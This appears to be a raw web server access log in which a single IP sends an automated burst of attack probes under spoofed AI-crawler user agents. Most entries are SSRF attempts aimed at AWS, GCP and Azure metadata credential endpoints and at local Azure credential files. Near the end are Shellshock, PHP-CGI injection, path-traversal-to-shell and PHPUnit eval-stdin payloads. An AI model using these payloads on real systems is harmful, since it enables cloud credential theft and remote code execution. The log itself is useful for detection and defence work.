AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/126.0.4326.128 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /api/graphql HTTP/1.1" 200 12092 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7023.164 Safari/537.36 Edg/147.0.7023.164; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /v1/graphql HTTP/1.1" 200 12088 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /graphql/console HTTP/1.1" 200 12088 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /query HTTP/1.1" 200 12087 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /gql HTTP/1.1" 200 12080 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6837.136 Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /api/query HTTP/1.1" 200 12084 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "POST /api/gql HTTP/1.1" 200 12083 "https://webmail.guardianjetcenter.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:121.18) Gecko/20100101 Firefox/121.18; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12124 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Version/16.4 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12140 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12125 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12121 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12135 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.8001.93 Safari/537.36 Edg/124.0.8001.93; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12129 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12134 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/124.0.2152.146 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12131 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12143 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12118 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Version/19.4 Safari/605.1.15" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12131 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:128.6) Gecko/20100101 Firefox/128.6; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12140 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.486.136 Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12123 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.7 Mobile/15E148 Safari/604.1; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12134 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12118 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:47 -0700] "GET /proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12123 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12144 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/109.0.4118.10 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12129 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:105.1) Gecko/20100101 Firefox/105.1; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12142 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/91.0.5327.200 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12137 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/128.0.7373.222 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12119 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.4804.127 Mobile Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12132 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/118.0.5684.101 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12142 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.1384.21 Safari/537.36; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12129 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/148.0.4406.56 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12124 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.19) Gecko/20100101 Firefox/149.19; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12135 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12126 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.354.25 Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.6205.185 Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12136 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com) Chrome/151.0.683.67 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12119 "-" "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12128 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12134 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12123 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12120 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12138 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12126 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.4207.57 Mobile Safari/537.36; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12137 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.8707.73 Mobile Safari/537.36; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12121 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.2263.90 Mobile Safari/537.36; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com) Chrome/124.0.7147.71 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12126 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12143 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12140 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12125 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12123 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.1814.17 Safari/537.36 Edg/91.0.1814.17; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12143 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/147.0.1485.197 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12135 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12127 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F HTTP/1.1" 200 12148 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo HTTP/1.1" 200 12134 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F HTTP/1.1" 200 12130 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken HTTP/1.1" 200 12148 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/133.0.2227.176 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken HTTP/1.1" 200 12153 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail HTTP/1.1" 200 12149 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail HTTP/1.1" 200 12150 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.7083.228 Mobile Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F HTTP/1.1" 200 12182 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/147.0.5659.165 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F HTTP/1.1" 200 12183 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.4580.152 Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F HTTP/1.1" 200 12192 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F HTTP/1.1" 200 12188 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/128.0.6612.232 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:48 -0700] "GET /fetch?url=file%3A%2F%2F%2Froot%2F.azure%2Fcredentials HTTP/1.1" 200 12116 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Chrome/85.0.4423.194 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /proxy?url=file%3A%2F%2F%2Froot%2F.azure%2Fcredentials HTTP/1.1" 200 12115 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/128.0.7983.171 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /fetch?url=file%3A%2F%2F%2Froot%2F.azure%2FaccessTokens.json HTTP/1.1" 200 12117 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /proxy?url=file%3A%2F%2F%2Froot%2F.azure%2FaccessTokens.json HTTP/1.1" 200 12119 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /fetch?url=file%3A%2F%2F%2Fhome%2Fubuntu%2F.azure%2FaccessTokens.json HTTP/1.1" 200 12128 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /proxy?url=file%3A%2F%2F%2Fhome%2Fubuntu%2F.azure%2FaccessTokens.json HTTP/1.1" 200 12125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Chrome/122.0.1623.240 Safari/537.36 Edg/122.0.1623.240" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 12083 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /cgi-bin/status HTTP/1.1" 200 12087 "-" "() { :;}; echo; echo GSCAN_SHK" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 200 12122 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/147.0.781.74 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 12112 "-" 